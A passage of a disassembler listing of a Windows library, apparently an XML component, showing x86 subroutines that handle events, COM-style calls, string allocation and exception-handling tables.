call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3DFFE: ; DATA XREF: .text:69B3E040o
mov esp, [ebp-18h]
mov ecx, [ebp-20h]
call sub_69B8A828
call sub_69B2E860
or dword ptr [ebp-4], 0FFFFFFFFh
mov edi, [ebp-1Ch]
loc_69B3E015: ; CODE XREF: sub_69B3DFBE+35j
cmp byte ptr [ebp+0Ch], 0
jz short loc_69B3E022
mov byte ptr [edi+8Eh], 0
loc_69B3E022: ; CODE XREF: sub_69B3DFBE+5Bj
mov ecx, [ebp-20h]
call sub_69B8A828
call sub_69B1853C
retn 8
sub_69B3DFBE endp
; ---------------------------------------------------------------------------
align 8
dword_69B3E038 dd 0FFFFFFFFh dd offset loc_69B3DFF5
dd offset loc_69B3DFFE
; =============== S U B R O U T I N E =======================================
sub_69B3E044 proc near ; DATA XREF: .text:69B1BFE8o
; .text:69B220B0o
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov esi, ecx
call sub_69B3D622
push ebx
lea eax, [esi+58h]
push eax
call sub_69B17320
cmp [esi+8Fh], bl
jnz short loc_69B3E071
mov ecx, esi
call sub_69B3DABE
mov ecx, eax
call sub_69B8B632
loc_69B3E071: ; CODE XREF: sub_69B3E044+1Dj
push ebx
lea eax, [esi+6Ch]
push eax
call sub_69B17320
lea edi, [esi+0D4h]
mov ecx, [edi]
cmp ecx, ebx
jz short loc_69B3E0A7
call sub_69B8A208
add esi, 0D8h
mov ecx, [esi]
call sub_69B8A208
push ebx
push edi
call sub_69B17320
push ebx
push esi
call sub_69B17320
loc_69B3E0A7: ; CODE XREF: sub_69B3E044+41j
pop edi
pop esi
pop ebx
retn
sub_69B3E044 endp
; =============== S U B R O U T I N E =======================================
sub_69B3E0AB proc near ; CODE XREF: sub_69B3C634+99p
; sub_69B3F5CF+1Ep ...
push 1Ch
push offset dword_69B3E1D8
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
mov al, [esi+8Dh]
xor ebx, ebx
cmp al, bl
jz loc_69B3E1CC
push dword ptr [esi+0C0h]
lea ecx, [ebp-20h]
call sub_69B18E23
mov [ebp-21h], bl
mov [ebp-4], ebx
cmp [esi+0C8h], bl
jz short loc_69B3E129
mov edi, [esi+0CCh]
mov [ebp-28h], edi
mov eax, [esi]
push ebx
mov [ebp-2Ch], eax
mov eax, 0C00CE216h
push eax
push eax
call sub_69B2E8CC
add esp, 0Ch
push eax
mov ecx, esi
mov eax, [ebp-2Ch]
call dword ptr [eax+64h]
call sub_69B11E73
cmp [eax+40h], edi
jz short loc_69B3E127
push 0FFFFFFFFh ; dwMilliseconds
push dword ptr [esi+0C4h] ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
loc_69B3E127: ; CODE XREF: sub_69B3E0AB+6Cj
xor ebx, ebx
loc_69B3E129: ; CODE XREF: sub_69B3E0AB+3Bj
push dword ptr [esi+0C4h] ; hEvent
call ds:ResetEvent ; ResetEvent
mov ecx, [esi+3Ch]
mov eax, [ecx]
call dword ptr [eax+0Ch]
mov byte ptr [ebp-21h], 1
cmp [esi+0ACh], ebx
jz short loc_69B3E15C
push ebx
push 0C00CE21Fh
push 80070005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B3E15C: ; CODE XREF: sub_69B3E0AB+9Cj
mov ecx, esi
call sub_69B3D989
mov [esi+0CCh], eax
mov ecx, esi
call sub_69B3DF21
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+68h]
mov byte ptr [esi+0C8h], 1
mov [esi+0C9h], bl
mov ecx, [esi+3Ch]
mov eax, [ecx]
call dword ptr [eax+14h]
mov ecx, [esi+3Ch]
mov eax, [ecx]
call dword ptr [eax+10h]
jmp short loc_69B3E1C0
; ---------------------------------------------------------------------------
loc_69B3E196: ; DATA XREF: .text:69B3E1DCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3E19F: ; DATA XREF: .text:69B3E1E0o
mov esp, [ebp-18h]
cmp byte ptr [ebp-21h], 0
jz short loc_69B3E1B3
mov eax, [ebp-1Ch]
mov ecx, [eax+3Ch]
mov eax, [ecx]
call dword ptr [eax+10h]
loc_69B3E1B3: ; CODE XREF: sub_69B3E0AB+FBj
lea ecx, [ebp-20h]
call sub_69B1900C
call sub_69B2E860
loc_69B3E1C0: ; CODE XREF: sub_69B3E0AB+E9j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-20h]
call sub_69B1900C
loc_69B3E1CC: ; CODE XREF: sub_69B3E0AB+1Bj
call sub_69B1853C
retn
sub_69B3E0AB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B3E1D8 dd 0FFFFFFFFh dd offset loc_69B3E196
dd offset loc_69B3E19F
; =============== S U B R O U T I N E =======================================
sub_69B3E1E4 proc near ; CODE XREF: sub_69B3C634+EBp
; sub_69B3EF04+17p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp [esi+8Dh], bl
jz short loc_69B3E23D
cmp [esi+0C8h], bl
jz short loc_69B3E23D
cmp [esp+8+arg_0], ebx
jl short loc_69B3E20B
cmp [esi+6Ch], ebx
jnz short loc_69B3E20B
cmp dword ptr [esi+40h], 4
jnz short loc_69B3E23D
loc_69B3E20B: ; CODE XREF: sub_69B3E1E4+1Aj
; sub_69B3E1E4+1Fj
push edi
lea edi, [esi+0CCh]
mov eax, [edi]
cmp eax, ebx
jz short loc_69B3E220
push eax
mov ecx, esi
call sub_69B3D9B7
loc_69B3E220: ; CODE XREF: sub_69B3E1E4+32j
mov ecx, [esi+3Ch]
mov [esi+0C8h], bl
mov [edi], ebx
mov eax, [ecx]
call dword ptr [eax+18h]
push dword ptr [esi+0C4h] ; hEvent
call ds:SetEvent ; SetEvent
pop edi
loc_69B3E23D: ; CODE XREF: sub_69B3E1E4+Cj
; sub_69B3E1E4+14j ...
pop esi
pop ebx
retn 4
sub_69B3E1E4 endp
; =============== S U B R O U T I N E =======================================
sub_69B3E242 proc near ; DATA XREF: .text:69B1BFE4o
; .text:69B220ACo
push 34h
push offset dword_69B3E368
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
lea eax, [esi+0B0h]
xor ebx, ebx
cmp [eax], bl
jnz loc_69B3E35B
mov byte ptr [eax], 1
mov [ebp-4], ebx
mov eax, [esi+60h]
mov [ebp-20h], eax
cmp eax, ebx
jz short loc_69B3E27A
mov ecx, [eax]
push ebx
push eax
call dword ptr [ecx+14h]
loc_69B3E27A: ; CODE XREF: sub_69B3E242+2Fj
lea ecx, [esi+6Ch]
mov eax, [ecx]
mov [ebp-24h], eax
cmp eax, ebx
jnz short loc_69B3E28E
push dword ptr [ebp+8]
call sub_69B199CC
loc_69B3E28E: ; CODE XREF: sub_69B3E242+42j
mov eax, [esi+0D4h]
mov [ebp-28h], eax
cmp eax, ebx
jz short loc_69B3E2C8
loc_69B3E29B: ; CODE XREF: sub_69B3E242+84j
mov eax, [esi+0D4h]
mov [ebp-2Ch], eax
mov ecx, [eax+0Ch]
mov [ebp-30h], ecx
cmp ecx, ebx
jle short loc_69B3E2C8
mov [ebp-34h], eax
push ebx
mov ecx, eax
call sub_69B8A163
mov [ebp-38h], eax
mov edx, [eax]
push dword ptr [ebp+8]
mov ecx, eax
call dword ptr [edx+64h]
jmp short loc_69B3E29B
; ---------------------------------------------------------------------------
loc_69B3E2C8: ; CODE XREF: sub_69B3E242+57j
; sub_69B3E242+6Aj
cmp dword ptr [esi+40h], 4
jnz short loc_69B3E2DA
mov eax, [esi+4Ch]
mov [ebp-3Ch], eax
test byte ptr [eax+0Ah], 1
jnz short loc_69B3E2EC
loc_69B3E2DA: ; CODE XREF: sub_69B3E242+8Aj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+68h]
push dword ptr [ebp+8]
lea ecx, [esi+6Ch]
call sub_69B199CC
loc_69B3E2EC: ; CODE XREF: sub_69B3E242+96j
mov eax, [esi+4Ch]
mov [ebp-40h], eax
or byte ptr [eax+0Ah], 1
mov ecx, esi
mov eax, [esi]
cmp [esi+81h], bl
jz short loc_69B3E305
push ebx
jmp short loc_69B3E307
; ---------------------------------------------------------------------------
loc_69B3E305: ; CODE XREF: sub_69B3E242+BEj
push 4
loc_69B3E307: ; CODE XREF: sub_69B3E242+C1j
call dword ptr [eax+6Ch]
lea edi, [esi+44h]
mov [ebp-44h], edi
push ebx
push edi
call sub_69B17320
push edi
lea ecx, [esi+48h]
call sub_69B4D414
jmp short loc_69B3E351
; ---------------------------------------------------------------------------
loc_69B3E322: ; DATA XREF: .text:69B3E36Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3E32B: ; DATA XREF: .text:69B3E370o
mov esp, [ebp-18h]
xor ebx, ebx
mov esi, [ebp-1Ch]
mov [esi+0B0h], bl
lea edi, [esi+44h]
push ebx
push edi
call sub_69B17320
push edi
lea ecx, [esi+48h]
call sub_69B4D414
call sub_69B2E860
loc_69B3E351: ; CODE XREF: sub_69B3E242+DEj
or dword ptr [ebp-4], 0FFFFFFFFh
mov [esi+0B0h], bl
loc_69B3E35B: ; CODE XREF: sub_69B3E242+1Bj
call sub_69B1853C
retn 4
sub_69B3E242 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B3E368 dd 0FFFFFFFFh dd offset loc_69B3E322
dd offset loc_69B3E32B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3E374(LPCWSTR lpString)
sub_69B3E374 proc near ; CODE XREF: sub_69B3E43A+Ep
; sub_69B4F82B+37p
var_8 = dword ptr -8
var_4 = dword ptr -4
lpString = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, [ebp+lpString]
push edi
mov edi, ecx
lea eax, [edi+6Ch]
xor ebx, ebx
cmp [eax], esi
jz short loc_69B3E3F9
push esi
push eax
call sub_69B17320
mov eax, [edi+60h]
cmp eax, ebx
jz short loc_69B3E3F9
mov ecx, [eax]
push eax
call dword ptr [ecx+20h]
lea edx, [ebp+var_8]
push edx
lea edx, [ebp+lpString]
push edx
mov [esi+20h], eax
mov eax, [edi+60h]
lea edx, [ebp+var_4]
push edx
mov [ebp+var_4], ebx
mov [ebp+lpString], ebx
mov [ebp+var_8], ebx
mov ecx, [eax]
push eax
call dword ptr [ecx+24h]
cmp [ebp+var_4], ebx
jz short loc_69B3E3DC
cmp [ebp+lpString], ebx
jbe short loc_69B3E3DC
push [ebp+lpString]
push [ebp+var_4]
call sub_69B190C1
push eax
mov ecx, esi
call sub_69B2EB64
loc_69B3E3DC: ; CODE XREF: sub_69B3E374+4Ej
; sub_69B3E374+53j
cmp [esi+18h], ebx
jnz short loc_69B3E3F9
mov eax, [edi+60h]
mov ecx, [eax]
push eax
call dword ptr [ecx+18h]
mov [esi+18h], eax
mov eax, [edi+60h]
mov ecx, [eax]
push eax
call dword ptr [ecx+1Ch]
mov [esi+1Ch], eax
loc_69B3E3F9: ; CODE XREF: sub_69B3E374+14j
; sub_69B3E374+22j ...
cmp [esi+10h], ebx
jnz short loc_69B3E433
mov eax, [edi+60h]
cmp eax, ebx
jz short loc_69B3E424
mov ecx, [eax]
lea edx, [ebp+lpString]
push edx
push eax
call dword ptr [ecx+34h]
cmp [ebp+lpString], ebx
jz short loc_69B3E424
push [ebp+lpString] ; lpString
call sub_69B1A587
push eax
mov ecx, esi
call sub_69B2EC0C
loc_69B3E424: ; CODE XREF: sub_69B3E374+8Fj
; sub_69B3E374+9Ej
cmp [esi+10h], ebx
jnz short loc_69B3E433
push dword ptr [edi+44h]
mov ecx, esi
call sub_69B2EC0C
loc_69B3E433: ; CODE XREF: sub_69B3E374+88j
; sub_69B3E374+B3j
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B3E374 endp
; =============== S U B R O U T I N E =======================================
sub_69B3E43A proc near ; CODE XREF: sub_69B3EE2A+BAp
; sub_69B3F790+DDp
push esi
push edi
mov esi, ecx
call sub_69B2E808
mov edi, eax
push edi ; lpString
mov ecx, esi
call sub_69B3E374
mov ecx, edi
call sub_69B2E804
cmp byte ptr [esi+84h], 0
jnz short loc_69B3E470
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+64h]
push 0
add esi, 60h
push esi
call sub_69B17320
loc_69B3E470: ; CODE XREF: sub_69B3E43A+21j
pop edi
pop esi
retn 4
sub_69B3E43A endp
; =============== S U B R O U T I N E =======================================
sub_69B3E475 proc near ; CODE XREF: sub_69B3EF04+1Fp
push ebx
push esi
mov esi, ecx
mov ecx, [esi+0B4h]
push edi
xor ebx, ebx
xor edi, edi
cmp ecx, ebx
jz short loc_69B3E48F
call sub_69B88114
jmp short loc_69B3E491
; ---------------------------------------------------------------------------
loc_69B3E48F: ; CODE XREF: sub_69B3E475+11j
xor eax, eax
loc_69B3E491: ; CODE XREF: sub_69B3E475+18j
cmp eax, ebx
jnz short loc_69B3E49D
cmp [esi+0A0h], ebx
jz short loc_69B3E510
loc_69B3E49D: ; CODE XREF: sub_69B3E475+1Ej
xor eax, eax
cmp dword ptr [esi+40h], 4
push ebp
setnz al
mov ebp, eax
cmp ebp, ebx
jz short loc_69B3E4B4
mov ecx, esi
call sub_69B3D989
loc_69B3E4B4: ; CODE XREF: sub_69B3E475+36j
mov ecx, [esi+0B4h]
cmp ecx, ebx
jz short loc_69B3E4C5
call sub_69B88114
jmp short loc_69B3E4C7
; ---------------------------------------------------------------------------
loc_69B3E4C5: ; CODE XREF: sub_69B3E475+47j
xor eax, eax
loc_69B3E4C7: ; CODE XREF: sub_69B3E475+4Ej
cmp eax, ebx
jz short loc_69B3E4EA
mov ecx, [esi+0B4h]
cmp ecx, ebx
jz short loc_69B3E4DC
call sub_69B88114
jmp short loc_69B3E4DE
; ---------------------------------------------------------------------------
loc_69B3E4DC: ; CODE XREF: sub_69B3E475+5Ej
xor eax, eax
loc_69B3E4DE: ; CODE XREF: sub_69B3E475+65j
push ebx ; pvargSrc
push ebx ; int
push eax ; int
push ebx ; int
call sub_69B507CB
add esp, 10h
loc_69B3E4EA: ; CODE XREF: sub_69B3E475+54j
lea eax, [esi+0A4h]
push eax
push dword ptr [esi+0A0h]
push 0FFFFFD9Fh
call sub_69B509C9
cmp ebp, ebx
mov edi, eax
pop ebp
jz short loc_69B3E510
push ebx
mov ecx, esi
call sub_69B3D9B7
loc_69B3E510: ; CODE XREF: sub_69B3E475+26j
; sub_69B3E475+91j
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_69B3E475 endp
; =============== S U B R O U T I N E =======================================
sub_69B3E516 proc near ; CODE XREF: sub_69B3EDFC+26p
push ebx
push esi
mov esi, ecx
mov ecx, [esi+0B8h]
push edi
xor ebx, ebx
xor edi, edi
cmp ecx, ebx
jz short loc_69B3E530
call sub_69B88114
jmp short loc_69B3E532
; ---------------------------------------------------------------------------
loc_69B3E530: ; CODE XREF: sub_69B3E516+11j
xor eax, eax
loc_69B3E532: ; CODE XREF: sub_69B3E516+18j
cmp eax, ebx
jnz short loc_69B3E53E
cmp [esi+0A0h], ebx
jz short loc_69B3E59C
loc_69B3E53E: ; CODE XREF: sub_69B3E516+1Ej
mov ecx, esi
call sub_69B3D989
mov ecx, [esi+0B8h]
cmp ecx, ebx
jz short loc_69B3E556
call sub_69B88114
jmp short loc_69B3E558
; ---------------------------------------------------------------------------
loc_69B3E556: ; CODE XREF: sub_69B3E516+37j
xor eax, eax
loc_69B3E558: ; CODE XREF: sub_69B3E516+3Ej
cmp eax, ebx
jz short loc_69B3E57B
mov ecx, [esi+0B8h]
cmp ecx, ebx
jz short loc_69B3E56D
call sub_69B88114
jmp short loc_69B3E56F
; ---------------------------------------------------------------------------
loc_69B3E56D: ; CODE XREF: sub_69B3E516+4Ej
xor eax, eax
loc_69B3E56F: ; CODE XREF: sub_69B3E516+55j
push ebx ; pvargSrc
push ebx ; int
push eax ; int
push ebx ; int
call sub_69B507CB
add esp, 10h
loc_69B3E57B: ; CODE XREF: sub_69B3E516+44j
lea eax, [esi+0A4h]
push eax
push dword ptr [esi+0A0h]
push 0C6h
call sub_69B509C9
push ebx
mov ecx, esi
mov edi, eax
call sub_69B3D9B7
loc_69B3E59C: ; CODE XREF: sub_69B3E516+26j
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_69B3E516 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3E5A2(int, LPCWSTR lpString, int, int)
sub_69B3E5A2 proc near ; CODE XREF: sub_69B5705C+19p
; sub_69B57908+F3p
arg_0 = dword ptr 8
lpString = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+lpString]
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], 0Fh
mov esi, ecx
jnz short loc_69B3E5F3
push ebx ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push ebx
call sub_69B3D5BC
test al, al
jz short loc_69B3E5F3
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Eh
mov edi, eax
jg short loc_69B3E5D9
call sub_69B2E6D8
loc_69B3E5D9: ; CODE XREF: sub_69B3E5A2+30j
mov eax, dword_69B95A6C
mov edx, [edi+84h]
mov ecx, [esi+70h]
push eax
push eax
push edx
call sub_69B3DA18
mov edi, eax
jmp short loc_69B3E645
; ---------------------------------------------------------------------------
loc_69B3E5F3: ; CODE XREF: sub_69B3E5A2+11j
; sub_69B3E5A2+23j
test ebx, ebx
jz short loc_69B3E616
cmp word ptr [ebx], 0
jz short loc_69B3E616
cmp [ebp+arg_0], 5
mov ecx, [esi+70h]
setnz al
push eax ; char
push dword ptr [ebp+arg_C] ; char
push [ebp+arg_8] ; int
push ebx ; lpString
call sub_69B4E09A
mov edi, eax
loc_69B3E616: ; CODE XREF: sub_69B3E5A2+53j
; sub_69B3E5A2+59j
cmp [ebp+arg_0], 5
jnz short loc_69B3E645
test edi, edi
jz short loc_69B3E645
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 5
mov ebx, [edi+8]
mov [ebp+lpString], eax
jg short loc_69B3E636
call sub_69B2E6D8
loc_69B3E636: ; CODE XREF: sub_69B3E5A2+8Dj
mov eax, [ebp+lpString]
cmp ebx, [eax+20h]
jnz short loc_69B3E645
mov [ebp+arg_0], 12h
loc_69B3E645: ; CODE XREF: sub_69B3E5A2+4Fj
; sub_69B3E5A2+78j ...
push edi
push [ebp+arg_0]
call sub_69B4D8E4
push dword ptr [esi+50h]
push esi
push edi
push [ebp+arg_0]
call sub_69B1BE7F
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B3E5A2 endp
; =============== S U B R O U T I N E =======================================
sub_69B3E662 proc near ; CODE XREF: sub_69B583A8+194p
push 24h
push offset dword_69B3E768
call sub_69B19C5C
mov esi, ecx
xor ebx, ebx
mov [ebp-1Ch], ebx
mov [ebp-20h], ebx
mov [ebp-4], ebx
cmp [esi+1Ch], ebx
jz short loc_69B3E689
mov dword ptr [ebp-1Ch], 80070005h
jmp short loc_69B3E6D5
; ---------------------------------------------------------------------------
loc_69B3E689: ; CODE XREF: sub_69B3E662+1Cj
mov eax, [ebp+8]
mov ecx, [eax+0Ch]
mov [ebp-24h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [ebp-28h], eax
mov eax, [esi+14h]
mov [ebp-2Ch], eax
mov [ebp-30h], eax
cmp eax, ebx
jz short loc_69B3E6B1
mov eax, [eax+0Ch]
jmp short loc_69B3E6B3
; ---------------------------------------------------------------------------
loc_69B3E6B1: ; CODE XREF: sub_69B3E662+48j
xor eax, eax
loc_69B3E6B3: ; CODE XREF: sub_69B3E662+4Dj
lea ecx, [ebp-20h]
push ecx ; int
xor edi, edi
inc edi
push edi ; int
push eax ; int
push dword ptr [ebp-28h] ; lpString
call sub_69B3A4BF
mov [ebp-1Ch], eax
push dword ptr [ebp-28h] ; BSTR
call SysFreeString
cmp [ebp-1Ch], ebx
jge short loc_69B3E6DB
loc_69B3E6D5: ; CODE XREF: sub_69B3E662+25j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B3E74F
; ---------------------------------------------------------------------------
loc_69B3E6DB: ; CODE XREF: sub_69B3E662+71j
push dword ptr [ebp+0Ch]
push dword ptr [ebp-20h]
mov ecx, esi
call sub_69B3DEBD
mov [ebp-34h], eax
mov [ebp-4], edi
mov eax, [esi]
push dword ptr [ebp-34h]
mov ecx, esi
call dword ptr [eax+40h]
jmp short loc_69B3E715
; ---------------------------------------------------------------------------
loc_69B3E6FA: ; DATA XREF: .text:69B3E778o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3E703: ; DATA XREF: .text:69B3E77Co
mov esp, [ebp-18h]
mov ecx, [ebp-34h]
call sub_69B8A828
call sub_69B2E860
xor ebx, ebx
loc_69B3E715: ; CODE XREF: sub_69B3E662+96j
mov [ebp-4], ebx
mov ecx, [ebp-34h]
call sub_69B8A828
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B3E746
; ---------------------------------------------------------------------------
loc_69B3E726: ; DATA XREF: .text:69B3E76Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3E72F: ; DATA XREF: .text:69B3E770o
mov esp, [ebp-18h]
lea eax, [ebp-20h]
push eax
call sub_69B17230
call sub_69B2E860
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
loc_69B3E746: ; CODE XREF: sub_69B3E662+C2j
lea eax, [ebp-20h]
push eax
call sub_69B17230
loc_69B3E74F: ; CODE XREF: sub_69B3E662+77j
cmp [ebp-1Ch], ebx
jz short loc_69B3E75C
push dword ptr [ebp-1Ch]
call sub_69B2E8B8
loc_69B3E75C: ; CODE XREF: sub_69B3E662+F0j
call sub_69B1853C
retn 8
sub_69B3E662 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B3E768 dd 0FFFFFFFFh dd offset loc_69B3E726
dd offset loc_69B3E72F
align 8
dd offset loc_69B3E6FA
dd offset loc_69B3E703
; =============== S U B R O U T I N E =======================================
sub_69B3E780 proc near ; CODE XREF: sub_69B57A74+73p
; sub_69B6B250+126p
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esi+88h]
test ecx, ecx
jnz short loc_69B3E791
xor eax, eax
jmp short loc_69B3E7AC
; ---------------------------------------------------------------------------
loc_69B3E791: ; CODE XREF: sub_69B3E780+Bj
push edi
push [esp+8+arg_0]
call sub_69B8B00F
mov edi, eax
test edi, edi
jnz short loc_69B3E7A9
mov ecx, [esi+4Ch]
call sub_69B48032
loc_69B3E7A9: ; CODE XREF: sub_69B3E780+1Fj
mov eax, edi
pop edi
loc_69B3E7AC: ; CODE XREF: sub_69B3E780+Fj
pop esi
retn 4
sub_69B3E780 endp
; =============== S U B R O U T I N E =======================================
sub_69B3E7B0 proc near ; CODE XREF: sub_69B3E825+4Dp
; .text:69B3E942j ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
lea ebx, [eax+0D0h]
mov esi, ecx
mov ecx, [ebx]
test ecx, ecx
push edi
jz short loc_69B3E7CD
push 0
push eax
call sub_69B3D8AA
loc_69B3E7CD: ; CODE XREF: sub_69B3E7B0+13j
lea edi, [esi+0D4h]
cmp dword ptr [edi], 0
jnz short loc_69B3E7FE
push 0
push 4
call sub_69B8A458
push eax
push edi
call sub_69B17320
push 0
push 4
call sub_69B8A4FA
push eax
lea eax, [esi+0D8h]
push eax
call sub_69B17320
loc_69B3E7FE: ; CODE XREF: sub_69B3E7B0+26j
push esi
push ebx
call sub_69B2DEB2
push [esp+0Ch+arg_0]
mov ecx, [edi]
call sub_69B8A35C
push [esp+0Ch+arg_0]
mov ecx, [esi+0D8h]
call sub_69B8A35C
pop edi
pop esi
pop ebx
retn 4
sub_69B3E7B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3E825(LPCWSTR lpString, int, int, int)
sub_69B3E825 proc near ; CODE XREF: sub_69B8BD72+DAp
lpString = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, ecx
mov eax, [ebx]
push 0
call dword ptr [eax+3Ch]
cmp [ebp+lpString], 0
mov esi, eax
jz short loc_69B3E846
push [ebp+lpString] ; lpString
call sub_69B1A587
jmp short loc_69B3E84B
; ---------------------------------------------------------------------------
loc_69B3E846: ; CODE XREF: sub_69B3E825+15j
mov eax, offset off_69B1A5AC
loc_69B3E84B: ; CODE XREF: sub_69B3E825+1Fj
push eax
lea eax, [esi+14h]
push eax
call sub_69B17320
mov eax, [ebp+arg_8]
mov [esi+7Ch], eax
mov eax, [ebp+arg_C]
mov ecx, esi
mov [esi+80h], eax
call sub_69B3DABE
push esi
mov ecx, ebx
mov byte ptr [eax+2Fh], 1
call sub_69B3E7B0
mov edi, [ebp+arg_4]
push edi
push ebx
mov ecx, esi
call sub_69B3DADB
mov eax, [edi]
mov ebx, ds:dword_69B27820
mov ecx, edi
call dword ptr [eax+2Ch]
push dword ptr [eax+8]
mov ecx, eax
push ebx
call sub_69B2F3CD
push eax
lea eax, [esi+44h]
push eax
call sub_69B17320
pop edi
mov byte ptr [esi+0B1h], 1
mov eax, esi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B3E825 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3E8B5 proc near ; CODE XREF: sub_69B3E947+B9p
; sub_69B4FDBC+70Ep ...
var_1 = byte ptr -1
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
mov esi, ecx
mov [ebp+var_1], bl
call sub_69B3D8EC
test al, al
jz short loc_69B3E93B
cmp [esi+8Ch], bl
jz short loc_69B3E8E4
mov eax, [esi+60h]
cmp eax, ebx
jz short loc_69B3E8E4
mov ecx, [eax]
push eax
call dword ptr [ecx+68h]
mov [ebp+var_1], 1
loc_69B3E8E4: ; CODE XREF: sub_69B3E8B5+1Cj
; sub_69B3E8B5+23j
mov ecx, [esi+0D4h]
push ebx
call sub_69B8A163
lea ecx, [eax+0B1h]
cmp [ecx], bl
jz short loc_69B3E90F
mov edx, [eax]
mov [ecx], bl
xor ecx, ecx
mov cl, [eax+8Ch]
push ecx
push dword ptr [eax+44h]
mov ecx, eax
call dword ptr [edx+50h]
loc_69B3E90F: ; CODE XREF: sub_69B3E8B5+43j
cmp [ebp+var_1], bl
jz short loc_69B3E93B
mov eax, [esi+0D4h]
cmp eax, ebx
jz short loc_69B3E923
cmp [eax+0Ch], ebx
jnz short loc_69B3E93B
loc_69B3E923: ; CODE XREF: sub_69B3E8B5+67j
mov ecx, esi
call sub_69B3D89C
test eax, eax
jnz short loc_69B3E93B
mov esi, [esi+60h]
mov eax, [esi]
push ebx
push esi
mov [ebp+var_1], bl
call dword ptr [eax+60h]
loc_69B3E93B: ; CODE XREF: sub_69B3E8B5+14j
; sub_69B3E8B5+5Dj ...
mov al, [ebp+var_1]
pop esi
pop ebx
leave
retn
sub_69B3E8B5 endp
; ---------------------------------------------------------------------------
jmp sub_69B3E7B0
; =============== S U B R O U T I N E =======================================
sub_69B3E947 proc near ; CODE XREF: sub_69B3EF04+36p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
push 1
push edi
mov esi, ecx
call sub_69B3D8AA
xor ebx, ebx
push ebx
lea eax, [edi+88h]
push eax
call sub_69B17320
push ebx
lea eax, [edi+5Ch]
push eax
call sub_69B17320
mov ecx, edi
call sub_69B3D89C
mov ebp, eax
cmp ebp, ebx
jz short loc_69B3E9F1
mov eax, [edi+44h]
push ebx
push eax
push 0C00CE001h
call sub_69B2F944
mov edi, [edi+6Ch]
add esp, 0Ch
cmp edi, ebx
push eax
jz short loc_69B3E9A2
mov ecx, edi
call sub_69B2EABC
jmp short loc_69B3E9AA
; ---------------------------------------------------------------------------
loc_69B3E9A2: ; CODE XREF: sub_69B3E947+50j
push ebp
call sub_69B1D342
mov edi, eax
loc_69B3E9AA: ; CODE XREF: sub_69B3E947+59j
cmp [esi+8Ch], bl
jz short loc_69B3E9DC
cmp [esi+84h], bl
jnz short loc_69B3E9DC
lea ebp, [esi+60h]
mov eax, [ebp+0]
cmp eax, ebx
jz short loc_69B3E9CB
mov ecx, [eax]
push ebx
push eax
call dword ptr [ecx+14h]
loc_69B3E9CB: ; CODE XREF: sub_69B3E947+7Bj
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+64h]
push ebx
push ebp
loc_69B3E9D5: ; CODE XREF: sub_69B3E947+A8j
call sub_69B17320
jmp short loc_69B3EA3B
; ---------------------------------------------------------------------------
loc_69B3E9DC: ; CODE XREF: sub_69B3E947+69j
; sub_69B3E947+71j
mov eax, [esi+60h]
cmp eax, ebx
jz short loc_69B3E9EA
mov ecx, [eax]
push ebx
push eax
call dword ptr [ecx+14h]
loc_69B3E9EA: ; CODE XREF: sub_69B3E947+9Aj
push edi
add esi, 6Ch
push esi
jmp short loc_69B3E9D5
; ---------------------------------------------------------------------------
loc_69B3E9F1: ; CODE XREF: sub_69B3E947+36j
lea edi, [esi+0D4h]
mov eax, [edi]
cmp [eax+0Ch], ebx
jz short loc_69B3EA05
mov ecx, esi
call sub_69B3E8B5
loc_69B3EA05: ; CODE XREF: sub_69B3E947+B5j
mov eax, [edi]
cmp [eax+0Ch], ebx
jnz short loc_69B3EA3B
mov eax, [esi+5Ch]
